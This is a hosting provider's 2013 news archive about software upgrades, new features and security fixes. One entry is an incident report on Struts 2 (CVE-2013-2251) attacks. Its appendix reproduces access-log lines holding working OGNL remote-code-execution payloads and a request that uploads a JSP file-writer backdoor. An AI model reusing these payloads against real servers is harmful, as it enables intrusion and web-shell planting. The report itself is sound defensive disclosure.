Metawerx Java Hosting Small Logo

Metawerx News Archive 2013 - Follow us on Twitter for latest updates!


12-Dec-2013 Today's New Stuff

  • phpPgAdmin 5.1

7-Dec-2013 More New Features @Metawerx

  • Elliptic Curve Diffie-Helman Galios/Counter Mode ciphers (ECDHE GCM) now used for our Subversion, phpMyAdmin, phpPgAdmin, WebSVN and RoundCube servers and all Java 8 customers
  • Threefish, Skein, SM3 and IDEA ciphers now available to users of Java 6, 7, 8
  • RoundCube 0.95 IMAP WebMail
  • JDK 8 Early Access Build 118
  • TomEE 1.6.0
  • Tomcat 8 RC5
  • MySQL 5.5.35
  • MariaDB 5.5.34
  • phpMyAdmin 4.10

27-Nov-2013 New Features @Metawerx

The following new features have been added this month:

  • Live Log Tail feature now supports older browsers and systems with no WebSockets support
  • Live Log Tail feature to change contrast and improved size-control on tablets
  • New Access Logs shortcut for self-managed dedicated JVM customers
  • One-Click auto-configuration in DNS to use Metawerx Mail, Google Mail, Exchange Online, Google Apps or Office365
  • cPanel licensing for dedicated server customers
  • JDK 8 Early Access Build 117 is now available
  • Ubuntu 13.10 now running on most servers, with many IPv6 improvements

29-Oct-2013 New Live Logs feature (Tail)

We now have a new feature in SiteWinder which allows you to stream/tail any log or txt file directly in your browser.

The option is called "Tail" and appears next to all .log and .txt files.

Previously, you could watch changes to a log file by viewing it online, then selecting Reload and scrolling down further.

The new feature uses WebSockets 1.0 to stream live changes directly to your browser, allowing you to instantly see the log messages generated by your application.

Features:

  • Pause/Resume button to allow easy copy/paste
  • Text resize buttons
  • Indicator light to show connection status
  • Text can be edited locally to allow for insertion of comments or blank lines, or deletion of unnecessary text
  • Supports multiple separate windows (eg: you can watch your access log and system log at the same time)
  • Works from SiteWinder Mobile Edition on Amazon KindleFire, and newer Android devices, iPhones and iPads, allowing you to use your tablet as a handy additional screen during development
  • Automatic detection of new files (ie: during a Tomcat restart)
  • High-performance, low-latency
  • High-security SSL connection

We hope you find the new feature useful while debugging your live production applications!

27-Oct-2013 Updates

We are now using Java 7u45 and Tomcat 7.0.47.

Tomcat 7.0.47 contains a backport from Tomcat 8 with support for JSR 356 (WebSocket 1.0).

The legacy Tomcat 7 Catalina WebSockets classes have been deprecated, but it looks like they'll be left as part of Tomcat 7 and still receive security/bug fixes.

We will be releasing our new Live Logs feature using the new WebSocket 1.0 specification in the next few days.

10-Oct-2013 Initial IPv6 support

We now have one IPv6 capable DNS server, mail server and web server.

This is just a start, but it's good to have been able to experiment with the new addressing format and see how it affects security and performance considerations.

We will have more IPv6 support further down the track.

9-Oct-2013 NS Record editing

Our DNS editor now supports NS record editing.

Previously the NS records were entirely automated as we believed them unnecessary and just more confusion when changing DNS entries.

However, as one customer requirement has pointed out, NS record editing allows for some useful extra functionality such as:

  • adding extra DNS servers outside of the Metawerx DNS system for additional redundancy
  • automated failover to an emergency second location for key services
  • the ability to delegate subdomains of your domain to a different DNS system entirely

5-Oct-2013 Tomcat 8 on JDK7/8

Tomcat 8 is now at Release-Candidate-3 status which means it's just about to be released!

Notable new features are as follows:

  • Support for Java Servlet 3.1, JavaServer Pages 2.3, Java Unified Expression Language 3.0 and Java WebSocket 1.0 (JSR 356).
  • The default connector implementation is now the Java non-blocking implementation (NIO) - note that no code changes are required unless you specifically coded something which relied upon the BIO connectors and accessed the Apache Tomcat classes directly.
  • A new resources implementation that replaces Aliases, VirtualLoader, VirtualDirContext, JAR resources and external repositories with a single, consistent approach for configuring additional web application resources. The new resources implementation can also be used to implement overlays (using a master WAR as the basis for multiple web applications that each have their own customizations).
  • Faster startup time due to TLD scanning improvements.
  • Almost 100% configuration compatibility with Tomcat 7 - in most cases we have tried, no changes are required at all to upgrade to Tomcat 8.

To upgrade to Tomcat 8, send us an email and we'll switch your JVM over free of charge.

Java 8 is also due to be released soon but has been delayed at Oracle. We have build 109 available currently and will update it with new releases as they come out.

Notable features of Java 8 include:

  • Lambda Expressions and Virtual Extension Methods
  • Standardised Base64 functions
  • Removal of PermGen space - it's now part of the standard heap, reducing stress when determining your hosting requirements and making frequent releases less prone to PermGen OutOfMemory Exceptions
  • Various memory optimisations and cache improvements
  • Parallel Array sorting
  • NSA Suite B, AEAD, GCM cipher support for SSL (CBC block ciphers are basically broken, RC4 has been violated and it's weaknesses are being explored)
  • Faster AES Encryption via latest CPU instructions
  • JDBC 4.2

We can easily switch your JVM over to JDK8 with a simple configuration change. Please contact us if you want to access the new feature set.

We always recommend you run on the latest versions of all software. This is important for security, performance and feature availability. If you allow your application to gradually slip back in time, then you may find yourself in some of the unfortunate situations which some customers are currently experiencing. For example: a terrifying update of a live business system from Tomcat 3 / JDK 1.4 because of a security audit (by the way - Tomcat 3 was released in 1999!). If your system runs on Tomcat 5 it will most likely run on Tomcat 7 / JDK 7 without changes and also Tomcat 8 / JDK 8, but it depends on how it was written and how much of the specific version's features were used.

As always - if you need a hand, drop us an email.

30-Sep-2013 Struts 2 Attacks

Recently we noticed that two of our customer's accounts were violated by hackers.

This was due to them using a vulnerable version of Apache Struts, as described in CVE-2013-2251 (Struts 2.0.0-2.3.15).

From preliminary investigations and subsequent discussions with the affected customers, it seems that no financial or otherwise critical information was stolen.

This article details the attack details and how the attack was executed. It should be of interest to any website owner, software developer or security professional.

Who were the hackers?

The attacker IPs were all from the same block of IP addresses in China, although it is not known if that was their original source.

How did they hack the websites?

The attack was based on a Struts 2 vulnerability which allowed the use of ".action" and ".redirect" URLs to run java code dynamically.

How did you know?

We first noticed the attack via our AppArmor logs. The customer accounts were attempting to read and write areas of the filesystem we have restricted. After further investigation, we determined that the writes were being triggered remotely and the cause was the old version of the Struts 2 library. We mitigated the attack by blocking JSP writes to the customer sites using older versions of Struts. We also added the attack signatures to our IDS so that it would be identified instead of showing as a customer AppArmor violation attempt.

How did it work?

From my investigation, I can see the attacks appear to use a limited number of IP addresses to probe for vulnerable websites - possibly first using search engines to identify Struts sites quickly based on error messages or URLs. They test the sites continually for Struts "action" and "redirect" URLs and attempt the breach. The breach consists of the upload of a small JSP file which allows further uploads. If the file is uploaded successfully, the site is most likely recorded in a list/database as it is not accessed for some time afterwards. When it is accessed again, the timing of hits is irregular, which indicates a human worker may be probing the affected website. They attempt to access the URL of the uploaded file in order to upload a larger command/control system which is contained in a single JSP file. We have noted 3 different types of command/control system being uploaded, each very different in design but basically providing the same features. The JSP-based control files allow browsing of the file system, execution of Windows and Linux commands, initation of a remote shell, viewing of environment variables and Java variables, file upload and bulk zip/download of entire folders. The JSP-based controllers even include CSS to make the systems look nice (!). These control systems appear to have been designed by someone else, but are in use by the hackers. One JSP file we noted specifically contains a tribute to the writer's girlfriend and a website to download new versions, but it doesn't seem to be available for general download on the internet any longer. Anyway, quite nice single JSP files which can be used to access all sorts of things on a Java based server. I've seen a similar system in PHP but not as advanced. This is the first one I've seen in JSP and now within a few days, I've seen 3.

Why didn't it cause problems for other customers?

Due to our extensive use of AppArmor and Linux Container tools (LXC), the attacks were limited to uploading JSP files. The JSP files allowed access to the files of the customers who did not update their Struts versions, at the same level of access as those customers have. They were not able to gain any further access to our servers such as the ability to run executables, scripts or access system information. If you are not hosting at Metawerx, we STRONGLY recommend you investigate AppArmor and LXC for your own protection.

Further information?

If you would like further information on the specific breach or the source information they seem to be referring to, we have a series of URLs for sites describing the vulnerabilities and how they are being exploited. Please contact us for further information. We will not list these here as they are most likely bad for our SEO ;-) You can also research them independantly by searching for "Struts2 vulnerability" on Google or some of the file names which were uploaded such as one8. If you working for an Australian Government IT Dept and want information on this attack and methods of protecting against similar attacks, please contact us for consultancy.

Appendix

Finally, here is a few of the attack URLs used. If you see this sort of activity on your Struts site, an attack attempt is in progress.
111.222.333.444 - - [10/Sep/2013:23:13:29 +1000] "GET /register.action?redirect:$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28
new%20java.lang.String%5B%5D%7B%27whoami%27%7D%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputSt
reamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char%5B50000%5D,%23d.read%28%23e%29,%23matt%3d
%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23
matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7D HTTP/1.0" 200 50002
111.222.333.444 - - [10/Sep/2013:23:13:30 +1000] "GET /register.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwo
rk2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatc
her.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.
0" 200 31
111.222.333.444 - - [10/Sep/2013:23:13:34 +1000] "GET /register.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%
20java.lang.String%5B%5D%20%7B'uname','-a'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20
(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com
.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt
.getWriter().close()%7D HTTP/1.0" 200 50002
111.222.333.444 - - [10/Sep/2013:23:15:21 +1000] "POST /register.action?redirect:$%7B%23req%3D%23context.get(%27com.opensymphon
y.xwork2.dispatcher.HttpServletRequest%27),%23a%3D%23req.getSession(),%23b%3D%23a.getServletContext(),%23c%3d%23b.getRealPath(
%22/%22),%23fos%3dnew%20java.io.FileOutputStream(%23req.getParameter(%22p%22)),%23fos.write(%23req.getParameter(%22t%22).repla
ceAll(%22k8team%22,%20%22%3C%22).replaceAll(%22k8team%22,%20%22%3E%22).getBytes()),%23fos.close(),%23matt%3D%23context.get(%27
com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%22OK..%22),%23matt.getWriter().flush()
,%23matt.getWriter().close()%7D&t=%3C%25if%28request.getParameter%28%22f%22%29%21%3Dnull%29%28new%20java.io.FileOutputStream%2
8application.getRealPath%28%22/%22%29%2Brequest.getParameter%28%22f%22%29%29%29.write%28request.getParameter%28%22t%22%29.getB
ytes%28%29%29%3B%25%3E&p=%2FPATH_TO_CUSTOMER_FOLDER%2PATH_TO_CUSTOMER_FOLDEROMER_NAMEf%2Fwebapps%2FROOT%2Fone8.jsp HTTP/1.0" 200 6
111.222.333.444 - - [10/Sep/2013:23:15:34 +1000] "GET /register.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%
20java.lang.String%5B%5D%20%7B'ls','-l','/PATH_TO_CUSTOMER_FOLDER/CUSTOMER_NAME/webapps/ROOT/'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%2
0java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23
matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23mat
t.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 50002
111.222.333.444 - - [10/Sep/2013:23:15:46 +1000] "GET /one8.jsp HTTP/1.1" 200 -
111.222.333.444 - - [10/Sep/2013:23:15:46 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:15:57 +1000] "POST /one8.jsp HTTP/1.1" 200 -
111.222.333.444 - - [10/Sep/2013:23:15:57 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:16:04 +1000] "GET /test.jsp HTTP/1.1" 200 13999
111.222.333.444 - - [10/Sep/2013:23:16:04 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:16:19 +1000] "POST /test.jsp HTTP/1.1" 200 15307
111.222.333.444 - - [10/Sep/2013:23:16:23 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:16:41 +1000] "POST /test.jsp HTTP/1.1" 200 7105

Other reports

Another writer has written an excellent analysis of their experience with this attack, which can be found here:
  • http://blog.trendmicro.com/trendlabs-security-intelligence/chinese-underground-creates-tool-exploiting-apache-struts-vulnerability/

New bugs

Also, here are some more recently reported Struts bugs:
  • http://securitytracker.com/id/1029078
  • http://securitytracker.com/id/1029077

These bugs affect Struts 2.0.0-2.3.15.1

If you use Struts 2, it is critical that you update to at least version 2.3.15.2 - the attacks are automated and Struts allows remote Java exection via a URL.

11-Sep-2013 Latest Updates

The following upgrades are now available at Metawerx.

These upgrades are automatic for managed-service customers.

  • #ApacheTomcat 7.0.42
  • #Java 7u40
  • #MySQL 5.5.34
  • #MariaDB 5.5.33a

30-Aug-2013 - Hunting SPOF in failover configurations

Single Points of Failure (SPOF) aren't always obvious. Today we noticed during a failover test that the configuration of our MySQL services on our secondary server differed slightly from the configuration on our primary. The differences were small, but they shouldn't exist unless there are plausible reasons.

In this case, our primary was originally set up with 32GB of RAM but the secondary only had 16GB. We began to keep separate configurations, tuned to the available memory on each server. Gradually through human error, slight differences began to appear which were not just related to RAM allocation (buffers). For example, a performance setting was present on only one of the servers.

The differences were small, but this identifies a dangerous situation in any IT company which relies on primary and secondary servers acting in the same way.

We corrected this today by merging the various /etc/mysql/my.cnf MySQL config files and placing them directly on the DRBD share between the servers. This has provided assurance that during a failover the secondary will act identically to the primary. Tonight we tested failover and failback and everything went very smoothly. More importantly, the problem cannot happen again.

When automation is introduced into a system like this, small differences are even more easily forgotten. You are using Puppet, you are using Nagios, all the green lights are very comforting - and misleading. Are you monitoring your config replication? Is that really working as you expect? This is the kind of thing that gets ignored.

The real effort is keeping everything easily maintainable and well documented. That makes for easier monitoring and systems that are easily replicatable.

I say "effort" because it takes time to employ strategies such as this as a rule and employ them during the day-to-day grind, without sacrificing time which can be spent on immediate client-pleasing and boss-pleasing.

Something that takes a little extra time when we are not getting paid is often something that pays off in the end through a reduction of the fires we need to put out when the 1% happens.

Spending the extra time after the client is happy, to make sure things go well when you are not available - whether they take it for granted or not - is something we need to pay attention to above and beyond the minimum of what we are expected to do, because when it comes to the crunch ($$$$ hits fan), it turns out that this is actually what everyone *expected* us to do. End-clients don't understand all the subtleties, but they pay us to understand them. Our responsibility to our customers and end-users extends beyond what they want, to what they really need, to prepare for the worst. Of course that's a very touchy area where some devs and sysadmins go too far and end up completely missing the real business expections and blowing the budget ;-) A subject for another time.

Anyway, if you are doing everything by yourself and not relying on a professional server hosting company such as Metawerx, hopefully this article will be something you can learn from and use when working on your own network.

1-Jun-2013 New DNS Editor

Our new DNS Editor is now live - click Edit DNS in Domain Admin to access the new features.

http://www.metawerx.net/images/screenshots/dnsadmin.png

What can I do with it?

  • Easily review all your DNS settings
  • Add and remove subdomains
  • Modify IP addresses
  • Add/Edit SPF Records
  • Change MX records, including the ability to switch to Google Apps or Metawerx Mail instantly
  • Set TTL individually on any record (eg: when preparing to replace an in-house mail server IP address)

If you need any help with anything at all, please don't hesitate to contact support.

29-May-2013 POP3 Country Restriction

To further protect your email account against automated attacks and password theft, we have created a feature today which allows you to restrict POP3 logins to a set of specific countries.

For example, if you live in Australia, but sometimes visit China and Peru, you can now restrict POP3 mail access to those countries.

How does it work?

This product includes GeoLite data created by MaxMind, available from http://www.maxmind.com. Using GeoLite, we maintain an up-to-date listing of IP ranges in use by each country. The mail server performs a binary-sort to find the correct range and this is compared against the list of countries you have selected to allow access to.

The new Geo-based system complements our existing anti-brute force system, which blocks IP addresses when certain patterns are detected. The additional layer of geo-security can protect your account from POP3 access where someone in a country you have not authorized has stolen your password (eg: via a keylogger). It also limits the capabilities of distributed brute-forcing attacks. Distributed brute-forcing is a technique employed by some bot-nets which attempt logins from a network of 1000's of IP addresses - making it ineffective to block access via single IP addresses.

How can I get started

To set your countries, please go to Mail Administration in SiteWinder and select Mail Server Settings at the top of the page.

http://www.metawerx.net/images/screenshots/pop3_zone.png

27-Mar-2013 CouchDB 1.2.1 - now available at Metawerx

We are happy to announce the official addition of CouchDB 1.2.1 to our database selection.

Apache CouchDB™ is a database that uses JSON for documents, JavaScript for MapReduce queries, and regular HTTP for an API.

It supports multi-master replication, so for example it can replicate between servers, between datacenters, to your office, or to a smartphone. This leads to some very interesting possibilities such as clients being able to work offline, then sync up again when they next connect.

CouchDB also provides a built-in web interface admin system called Futon.

Security

  • CouchDB, as with our other databases, runs on a separate server to your web applications
  • It is run under a non-root user account
  • It uses internal, firewalled IP addresses
  • We have built a complete AppArmor profile around CouchDB with securityfs sandboxing to provide an additional layer of file system restrictions and protect against buffer-overflow and other risks
  • Each database comes secured against anonymous access by default and we've already written your validate_doc_update function in case you want to allow anonymous read access
  • We can provide custom security configuration if required (eg: enable anonymous read for client-side replication)

Backups / Redundancy

  • 14 days of rolling daily backups
  • 15k RAID drives
  • Block-level replication to 2nd server
  • Failover to 2nd server in case of hardware failure on primary
  • Horizontal scaling opportunities

Other

  • 64bit OS for larger memory access
  • Metawerx Monitoring for High-Availability
  • Access CouchDB and Futon from your home or office over an SSH tunnel into our secure environment

20-Mar-2013 More offsite-backup enhancements

  • Offsite customer file-system backups now use AES encryption
  • File names, folder names and filesystem-structure layout is also AES encrypted

12-Mar-2013 Software Upgrades / Security Upgrades

  • MariaDB 5.5.30 now available
  • Java 7u17 and 6u43 now available (just browser patches over 7u15 and 6u41, so no big deal)
  • Our off-site backups for databases and Subversion have been upgraded to use AES-256 encryption (read more about our backup systems)
  • Metawerx workflow tools (SVN Admin, Domain Administration, Tomcat Realms tool, Metawerx Online Payments, Mail Reseller Admin) have been upgraded to use URL encryption with AES-256 and URL signing with SHA-512 hashes, a simple step that adds an additional layer of protection from SQLi and URL modification attacks

This month we have completed a number of security reviews and identified internal Metawerx systems which could benefit from a year 2013+ security model.

Part of doing business on the internet for over 15 years means most companies have a number of systems which may have been deemed secure a decade ago, but which are now severely lacking the protection of standard modern-day policies and protocols. We urge you to complete similar reviews with your own systems. If you have any questions about our new systems, implementations or security policies, or need any guidance or consultancy in this area, please don't hesitate to contact us.

23-Feb-2013 MongoDB - now available at Metawerx

We are happy to announce the official addition of MongoDB 2.2.3 to our database selection.

MongoDB stores structured data as JSON-like documents with dynamic schemas, making the integration of data in certain types of applications easier and faster and allowing direct JavaScript scripting on the database objects.

Security

  • MongoDB, as with our other databases, runs on a separate server to your web applications.
  • It is run under a non-root user account
  • Internal, firewalled IP address
  • AppArmor with securityfs sandboxing to provide an additional layer of file system restrictions and protect against buffer-overflows and other risks
  • MongoDB Authentication-mode enabled

Backups / Redundancy

  • 14 days of rolling daily backups
  • MongoDB Journalling-mode enabled
  • 15k RAID drives
  • Block-level replication to 2nd server
  • Failover to 2nd server in case of hardware failure on primary

Other

  • REST-API enabled
  • 64bit OS for larger memory access
  • Metawerx Monitoring for High-Availability
  • Access MongoDB from your home or office over an SSH tunnel into our secure environment

18-Feb-2013 New Single Sign-on System

We have completed implementation today of our new Single Sign-on System for our control panel(s).

The implementation was quite a challenge as we have a number of separate systems which are distributed over separate servers, subdomains and sometimes data centers.

We have used a method based on OpenID, using enforced TLS1.2 and 256-bit ciphers for all inter-server communications. A central authorisation cluster is used to cross-authenticate external systems and a token is provided to other systems over SSL, providing automatic authentication during the life of the master session.

The end result - there is no longer any need to select your server group when logging into SiteWinder, increased control panel security and simplicity.

There is still some cleanup of the old system remaining, but we plan to have this completed over the next week.

As usual, if you notice any problems or have any questions, please don't hesitate to contact us.

2-Feb-2013 Java 6u39 / 7u13 Released

Oracle has released new versions of Java today well ahead of their planned Critical Path Update which was due Feb 19.

This latest version address 50 separate security issues which are mostly browser issues (as usual!)

If you use Java on the browser, at least one of these attacks is already in use in the wild, so update ASAP.

Five of the bugs are also of interest on the server-side, notably CVE-2013-0440 and CVE-2013-0443, which are marked as unspecified JSSE (TLS/SSL) security bugfixes.

  • CVE-2013-0440 relates to the order of TLS messages which may affect availability (ie: denial-of-service)
  • CVE-2013-0443 fixes a bug in client key validation which would allow access to JRE-readable data

The remaining 3 server-side issues rely on the application using 2D or AWT libraries on the server and may allow execution of arbitrary code or operating system takeover. We use AppArmor at Metawerx to limit the capability of such attacks, which allows us to specify which files can be accessed and which operations can be performed at a higher level.

For more information on the latest update, see the Oracle Security Advisory

The Metawerx website is now running on 7.0.35 with Java 7u13!

22-Jan-2013 High-CPU Specific Thread Detection on Infinite Loop Detection System (ILDS)

Ever had your live JVM go to 100% CPU on one or more cores and knock your application offline?

It's often difficult to find the cause of the problem, and the usual solution is to restart the JVM as soon as possible. Hopefully you generated a stack trace before restarting, and now have a list of active threads that you can go through to try and find out what was running at the time.

Since around 2002, the Metawerx monitoring system (ERAI) has been able to detect abnormally high CPU in a given Java VM and has automatically restarted the JVM causing the issue. This system is based on a series of thresholds to avoid false-positives and identify the main problems (such as infinite loops). The technology allows us to protect against a single JVM consuming all the compute resources of a node and affecting the performance of the JVM itself, or other JVMs running on the same server.

If your JVM is restarted due to our high-CPU detection system, you will receive an email showing the current CPU level, number of times over in a row, the threshold and a description of why the JVM is being restarted.

What's new?

Today we have added additional features to this system which attempt to identify the specific thread in your JVM which is consuming excessive CPU.

The stack trace of the thread is now reported to the user by email along with the High-CPU notification.

In addition, if the infinite loop is found in a JSP file, the source lines of the compiled JSP are also identified, as well as a summary of system calls from the Java process.

The email therefore contains 4 sections:

  • High-CPU notification
  • Stack Trace of affected thread
  • JSP identification and source dump (when caused by a JSP file as in the case below)
  • System call summary over 1 second (for filing JRE bug reports)

Example

ALERT: Process usage has passed CPU threshold of 88% for 6 or more tests in a row and will be restarted.
Service Name: Tomcat 1072 (neale2012) Service
Process CPU Usage: 96% (100% = 1x3Ghz core @ 100%)
CPU High Level: 88%
CPU High Threshold: 6 times in a row
Times high in a row: 7
Total high since ERAI startup: 7
Condition: High CPU over an extended period

- If this level of CPU usage is expected for your application,
please contact support and ask for the thresholds to be changed.

Metawerx Analysis
==================

- This report shows information about the thread with the current highest CPU usage, if it is available.
- Please note that in some cases this may not be the thread that caused the high CPU alert.
- Where possible, the currently executing lines of Java will also be displayed.

Thread 7851: (state = BLOCKED)
 - org.apache.jsp.cpu_jsp._jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) @bci=96, line=72 (Compiled frame)
 - org.apache.jasper.runtime.HttpJspBase.service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) @bci=3, line=70 (Interpreted frame)
 - javax.servlet.http.HttpServlet.service(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=30, line=728 (Interpreted frame)
 - org.apache.jasper.servlet.JspServletWrapper.service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, boolean) @bci=440, line=432 (Interpreted frame)
 - org.apache.jasper.servlet.JspServlet.serviceJspFile(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, boolean) @bci=112, line=390 (Interpreted frame)
 - org.apache.jasper.servlet.JspServlet.service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) @bci=345, line=334 (Interpreted frame)
 - javax.servlet.http.HttpServlet.service(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=30, line=728 (Interpreted frame)
 - org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=446, line=305 (Interpreted frame)
 - org.apache.catalina.core.ApplicationFilterChain.doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=101, line=210 (Interpreted frame)
 ...

The full source for [cpu.jsp] is at [/org/apache/jsp/cpu_jsp.java]
Line [69] in method [_jspService] was executing at the time of the thread dump.
Source code lines [67-71]:

67:     double i = 0.1;
68:     int count = 0;
69:     while(count < 20) {
70:         i = i * 12315.12512;
71:     }

% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 85.80    0.688601         162      4260       213 futex
 12.96    0.104006       52003         2         2 restart_syscall
  1.24    0.009956           8      1323           sched_yield
  0.00    0.000000           0       159           mprotect
------ ----------- ----------- --------- --------- ----------------
100.00    0.802563                  5744       215 total

We hope you find this new addition useful for fast debugging!

21-Jan-2013 MySQL 5.5.29

An important buffer-overrun security vulnerability has been discovered in MySQL for Linux which allows remote authenticated users to modify data, crash MySQL, execute arbitrary code and potentially take control of the entire server.

This vulnerability exists in:

  • MySQL 5.5.19 and other versions through 5.5.28
  • MySQL 5.1.53 and other versions through 5.1.66

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5611

Metawerx is already running MySQL 5.5.29 so is not vulnerable. We also protect each instance using AppArmor which limits the files, devices and system processes accessible by a given binary.

It is important to note that in most Linux distros, including Ubuntu, 5.1.66 is the most up-to-date release. Any company that does not compile their own versions of MySQL as they are released are vulnerable to this issue. This is especially important for any hosting companies which provide remote access to multiple users or free/demo accounts.

16-Jan-2013 Apache Tomcat 7.0.35 Released

Tomcat 7.0.35 has been released today and contains the following key changes:

  • Tomcat 7 documentation is now integrated with Apache Comments System. People can leave their comments when reading the documentation online.
  • Improved detection of JAVA_HOME on OSX.
  • Support has been added for auto-detection and configuration of JARs on the classpath that provide tag plug-in implementations.

Full details of these changes, and all the other changes, are available in the Tomcat 7 changelog.
The Metawerx website is now running on 7.0.35 with Java 7u11!

All Metawex News Archives

navigation
metawerx specific
search
Share
tools
help

referring pages
...nobody

Share